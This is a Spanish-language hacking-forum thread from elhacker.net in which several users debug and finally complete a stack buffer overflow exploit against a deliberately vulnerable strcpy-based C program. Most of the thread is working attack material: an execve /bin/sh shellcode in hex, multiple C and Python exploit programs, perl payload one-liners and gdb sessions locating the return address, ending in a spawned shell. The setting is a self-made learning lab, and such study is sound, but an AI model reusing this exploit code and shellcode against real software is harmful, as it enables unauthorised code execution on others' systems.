Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales
Autor
|
Tema: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!] (Leído 3,135 veces)
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Bueno, ahi va el titulo, la cosa es que tengo un programita con una vulnerabilidad y lo estoy explotando. El otro dia consegui manejar el transcurso de la aplicacion, y ahora abrir una shellcode... Lo hago asi: ./vuln [23 NOPS + 25 Shellcode + 4 RET] La idea la saque de un post antiguo del foro... Evidentemente se puede cambiar la posicion de los Nops, pero bueno... Bueno, consigo la shellcode al correrlo asi: ./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"') $
Pero a la hora de hacer el exploit... juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c juanra@Juanra:~/Escritorio/Shell$ ./exploit Fallo de segmentación juanra@Juanra:~/Escritorio/Shell$ gdb -q exploit (gdb) r Starting program: /home/juanra/Escritorio/Shell/exploit
Program received signal SIGSEGV, Segmentation fault. 0xb77521f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6 (gdb)
Tengo este codigo, en el que también va como comentario el vulnerable... /* First BoF Linux attack : Sagrini 2010 : elhacker.net 23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59 gcc -o vuln vuln.c --no-stack-protector -g -z execstack ./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"') $ gcc -o exploit exploit.c ./exploit $ ------------------------------------------ !!! Vuln code !!! #include <stdio.h> #include <stdlib.h> #include <string.h> void soy_vuln(char *arg) { char buffer [48]; strcpy (buffer, arg); } int main(int argc, char *argv[]) { if (argc != 2) return 1; soy_vuln(argv[1]); } ------------------------------------------ */ #include <stdio.h> #include <string.h> int main () { printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net"); char nops [23]; memset (nops, '\x90', 23); char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret [4] = "\x18\x1f\x9b\xbf"; char command [59]; strcpy (command, "./vuln "); strcpy (command, nops); strcpy (command, shellcode); strcpy (command, ret); execve (command, command, NULL); return 0; } Ahora mi pregunta es... ¿Qué falla?
|
|
|
|
« Última modificación: 9 Febrero 2011, 19:07 por Sagrini »
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
lo que falla es que tienes protecciones anti stack over flow
saludos
|
|
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
lo que falla es que tienes protecciones anti stack over flow
Los desactivo en el vuln, no en el exploit... Ahora mismo pruebo... Modf: Anon, nada... /* First BoF Linux attack : Sagrini 2010 : elhacker.net 23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59 gcc -o vuln vuln.c --no-stack-protector -g -z execstack ./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"') $ gcc -o exploit exploit.c ./exploit $ ------------------------------------------ !!! Vuln code !!! #include <stdio.h> #include <stdlib.h> #include <string.h> void soy_vuln(char *arg) { char buffer [48]; strcpy (buffer, arg); } int main(int argc, char *argv[]) { if (argc != 2) return 1; soy_vuln(argv[1]); } ------------------------------------------ */ #include <stdio.h> #include <string.h> int main () { printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n"); char nops [23]; memset (nops, 'A', 23); char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret [4] = "\x18\x1f\x9b\xbf"; char command [59]; strcpy (command, "./vuln "); strcat (command, nops); strcat (command, shellcode); strcat (command, ret); // system (command); printf ("%s", command); return 0; } Si os dais cuenta, no ejecuto nada, solo muestro la cadena. Antes de eso, al strcpy (command, shellcode) da el fallo... Ahora me pasare por el foro C/C++ porque no es fallo de vuln... Compilo asi... juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c --no-stack-protector -z execstack juanra@Juanra:~/Escritorio/Shell$ ./exploit First BoF Linux attack : Sagrini 2010 : elhacker.net Fallo de segmentación juanra@Juanra:~/Escritorio/Shell$
Alguna idea?
|
|
|
|
« Última modificación: 23 Enero 2011, 17:49 por Sagrini »
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret [4] = "\x18\x1f\x9b\xbf"; char command [59]; strcpy (command, "./vuln "); strcat (command, nops); strcat (command, shellcode); strcat (command, ret); Cuando usas c chars con las funciones strxxx, los cadenas tienen que contener \x0 para marcar el fin de la misma sino strxxx va a seguir de largo y copiar cualquier cosa. Si queres serguir usando esas funciones agregales '\0' al final de las cadenas que usas sino podes usar memcpy. Mirate el man execve. El 2do argumento es un arreglo de punteros a char, el mismo tipo que argv. Probate este code: #include <stdlib.h> #include <string.h> #include <stdio.h> int main () { printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n"); char nops [24]; memset (nops, '\x90', 23); nops[23] = '\0'; char shellcode [] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x0"; char ret [] = "\x18\x1f\x9b\xbf\x0"; char command [59]; strcpy (command, nops); strcat (command, shellcode); strcat (command, ret); char *cmd[] = {command, NULL}; execve ("./vuln", cmd, NULL); return 0; }
|
|
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Bueno, de acuerdo, ahora no da fallo de segm. pero no ejecuta nada... juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c -z execstack --no-stack-protector juanra@Juanra:~/Escritorio/Shell$ ./exploit First BoF Linux attack : Sagrini 2010 : elhacker.net juanra@Juanra:~/Escritorio/Shell$
Vale, ahora qué, si fuese porque cambia la dirección de memoria me diriía fallo de segmentación, pero nada... Una cosa, si le meto un byte nulo, no se rellena todo... No va... Voy a probar otra cosa... -------------------------------------------------------------------------------------------------------------------------------------------------------- Modf: Pruebo con este code: #include <stdlib.h> #include <string.h> #include <stdio.h> int main () { printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n"); char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf"; system (command); return 0; } y este #include <stdlib.h> #include <string.h> #include <stdio.h> int main () { printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n"); char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf"; char *cmd[] = {command, NULL}; execve ("./vuln", cmd, NULL); return 0; } En el primero, "Segmentation Fault". En el segundo no printea nada menos la primera frase. ¿Qué hago?
|
|
|
|
« Última modificación: 24 Enero 2011, 19:40 por Sagrini »
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
Me parece que te dije cualquier verdura hehe, perdona. En realidad los char * inicializados con dobles comillas, c les agrega un null byte al final automaticamente. El problema lo tenias con los nops, porq los llenabas con memset.
Bueno retomando, en el segundo codigo, porq metes "./vuln" al principio del argumento para vuln en execve???
En el primero ni idea...
|
|
|
|
« Última modificación: 24 Enero 2011, 20:28 por Ivanchuk »
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
./vuln es el programa a ejecutar no? Voy a contar los nops, a ver si he metido de más... execve (<nombre prog>, <argumentos completos> <entorno>); Pues eso...
Ahora modf, que se me ha ocurrido otra cosa...
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
mr.blood
Desconectado
Mensajes: 18
|
Yo no he tenido ningun problema en hacer el exploit ni en C, ni en Python  . C: #include <stdio.h> #include <string.h> #include <stdlib.h> int main() { char name[]="./bof"; char nops[24]=""; memset(nops, '\x90', 23); /* Copiamos el byte 90 23 veces en la variable nops */ char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */ cmd=(char *)malloc(strlen(name)+strlen(nops)+strlen(shellcode)+strlen(ret)+1);/* Reservamos la memoria necesaria para juntar todo */ sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el puntero cmd, entre name y los demas campos dejamos un espacio */ system(cmd); free(cmd);/* Liberamos la memoria */ return 0; }
Python: import os archivo="./bof " nops="\x90" * 23 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" ret="\x18\x1f\x9b\xbf" os.system(archivo+nops+shellcode+ret) Espero haberte ayudado, porque no se si llegaste a resolver tu duda  . Sa1uDoS
|
|
|
|
« Última modificación: 7 Febrero 2011, 16:12 por mr.blood »
|
En línea
|
|
|
|
Belial & Grimoire
Desconectado
Mensajes: 355
Tea_Madhatter
|
pues yo tambien lo intente y no me funciono, ya trate de modificar los nops, no se si sea igual en linux, pero en windows tenia que dejar ret exacto en EIP para que saltara y se creara la shell pues lo intente y no me funciona... sera por alguna razon de sistemas linux, yo utilizo debian suqeeze #include <stdio.h> #include <stdlib.h> #include <string.h> int main(){ char exp[] = "./vuln"; char nops[23] = ""; memset(nops, '\x90', 23); char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd; cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1); sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret); system(cmd); free(cmd); return 0; } #include <stdio.h> #include <stdlib.h> #include <string.h> void soy_vuln(char *arg){ char buff[48]; strcpy(buff, arg); printf("%s", buff); } int main(int argc, char *argv[]){ if(argc != 2) return 1; soy_vuln(argv[1]); }
|
|
|
|
|
En línea
|
. 
|
|
|
mr.blood
Desconectado
Mensajes: 18
|
Porque dejas esto asi ??? sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret); Tiene que ser sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret); Sino es normal que no te funcione  . Si lo copias tal y como esta (mi codigo) no te funciona ??? Has compilado vuln como gcc -o vuln vuln.c --no-stack-protector -g -z execstack ??? Sa1uDoS
|
|
|
|
|
En línea
|
|
|
|
Belial & Grimoire
Desconectado
Mensajes: 355
Tea_Madhatter
|
sip, lo hice con tu codigo, y lo unico que cambie fue "./vuln" y al ejecutarlo me aparece esto �����������������������1�Ph//shh/bin��P��S��� y vuln lo compile asi exactamente gcc -o vuln vuln.c --no-stack-protector -g -z execstack y haciendo esto sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret); me dice.... Segmentation fault
|
|
|
|
|
En línea
|
. 
|
|
|
mr.blood
Desconectado
Mensajes: 18
|
No, eso que pusiste no es mi code. Tiene errores, como char nops[23] = ""; es nops[24]  . Quiza por eso te tira segmentation fault. Y eso del sprintf que ya te dije  .
Pon mas informacion, que distro usas ??? Yo uso OpenSuSe y me funciona perfecto. Sa1uDoS P.D.:Agregame al MSN si quieres y miramos que es con mas detalle  .
EDIT: A mi asi me funciona: #include <stdio.h> #include <stdlib.h> #include <string.h> int main(){ char exp[] = "./bof"; char nops[24] = ""; memset(nops, '\x90', 23); char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd; cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1); sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret); system(cmd); free(cmd); return 0; }
EDIT2: Prueba si quieres con una shellcode que he hecho yo  , aunque la de Sagrini va genial tambien. #include <stdio.h> /* Para Sprintf */ #include <string.h> /* Para memset */ #include <stdlib.h> /*Para malloc y system */ int main() { char name[]="./bof"; char nops[26]=""; memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */ char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */ cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria para juntar todo */ sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el puntero cmd, entre name y los demas campos dejamos un espacio */ system(cmd); free(cmd);/* Liberamos la memoria */ return 0; }
|
|
|
|
« Última modificación: 7 Febrero 2011, 16:16 por mr.blood »
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
No, eso que pusiste no es mi code. Tiene errores, como char nops[23] = ""; es nops[24]  . Quiza por eso te tira segmentation fault. Y eso del sprintf que ya te dije  .
Pon mas informacion, que distro usas ??? Yo uso OpenSuSe y me funciona perfecto. Sa1uDoS P.D.:Agregame al MSN si quieres y miramos que es con mas detalle  .
EDIT: A mi asi me funciona: #include <stdio.h> #include <stdlib.h> #include <string.h> int main(){ char exp[] = "./bof"; char nops[24] = ""; memset(nops, '\x90', 23); char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd; cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1); sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret); system(cmd); free(cmd); return 0; }
EDIT2: Prueba si quieres con una shellcode que he hecho yo  , aunque la de Sagrini va genial tambien. #include <stdio.h> /* Para Sprintf */ #include <string.h> /* Para memset */ #include <stdlib.h> /*Para malloc y system */ int main() { char name[]="./bof"; char nops[26]=""; memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */ char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"; char ret[]="\x18\x1f\x9b\xbf"; char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */ cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria para juntar todo */ sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el puntero cmd, entre name y los demas campos dejamos un espacio */ system(cmd); free(cmd);/* Liberamos la memoria */ return 0; } Wow gracias por revivir a todos! Estaba tanto con el taller que se me habia pasado... Como os comentaba, podeis probar a hacerlo con Perl desde la linea de comandos  ./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xXX\xXX\xXX\xXX"') Las XX las sustituis por vuestra direccion de regreso  . Aqui pongo la de la variable buffer, donde se encuentra la shellcode. Aparte, si os dais cuenta... 11 + 25 + 4 = 40. Buffer = 36. Que pasa? Porque en medio tenemos EBP y el ret. Pues lo que pasa es que al volver se quitan 4 bytes  . Bueno, hago eso y me suelta la shell. Ahora, para vuestra direccion de regreso... juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack [b]-g[/b] juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln (gdb) br vuln Breakpoint 1 at 0x80483ca: file vuln.c, line 7. (gdb) r AAA Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7 7 strcpy (buffer, buff); (gdb) x/x buffer [b]0xbffff904[/b]: 0x00000000 (gdb)
Ahora, si quereis le sumais algo por si las moscas 
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Bueno, escribí un pequeño code para mi blog hace un ratillo... #include <stdio.h> #include <string.h> int vuln (char *buff) { char buffer [36]; strcpy (buffer, buff); } int main (int argc, char *argv []) { vuln (argv [1]); } int feo () { printf ("Eres feo!!!"); exit (0); } juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack juanra@Juanra:~/Escritorio/Shell$ ./vuln (perl -e 'print "A"x40 . "\x68\x84\x04\x08"') Eres feo!!! juanra@Juanra:~/Escritorio/Shell$
#include <stdio.h> #include <stdlib.h> #include <string.h> int main () { char nops [40]; memset (nops, 'A', 40); char ret [5] = "\x68\x84\x04\x08"; char command [51]; strcpy (command, "./vuln "); strcat (command, nops); strcat (command, ret); system (command); } Luego lo hago con shellcode... Este ahora mismo va 
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico: Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso. Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que... 44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes... 40 - 25 (shellcode) = 15. En este hueco irá relleno. Así que la estructura sería: 15 Nops (\x90) + 25 Shellcode + 4 Ret. Escribimos: juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln (gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"') Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) br vuln Breakpoint 1 at 0x804842a: file vuln.c, line 8. (gdb) r AAA The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8 8 strcpy (buffer, buff); (gdb) x/x buffer 0xbffff904: 0x00000000 (gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln ( buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8 8 strcpy (buffer, buff); (gdb) c Continuing.
Program received signal SIGSEGV, Segmentation fault. 0xbffff95b in ?? () (gdb)
¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes... (gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln ( buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8 8 strcpy (buffer, buff); (gdb) c Continuing. Executing new program: /bin/dash (no debugging symbols found) Error in re-setting breakpoint 1: Function "vuln" not defined. (no debugging symbols found) (no debugging symbols found) $
Ahora escribimos el exploit... #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { char nops [11]; memset (nops, '\x90', 11); char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char ret [5] = "\x04\xf9\xff\xbf"; char command [47]; strcpy (command, "./vuln "); strcat (command, nops); strcat (command, shellcode); strcat (command, ret); system (command); } juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c juanra@Juanra:~/Escritorio/Shell$ ./exploit $
¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux! PD: Sé que no me explico nada bien, todas las dudas... PD2: Habrá más entregas  Un saludo! Os espero. Sagrini Sacado de mi blog xD!
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
|
|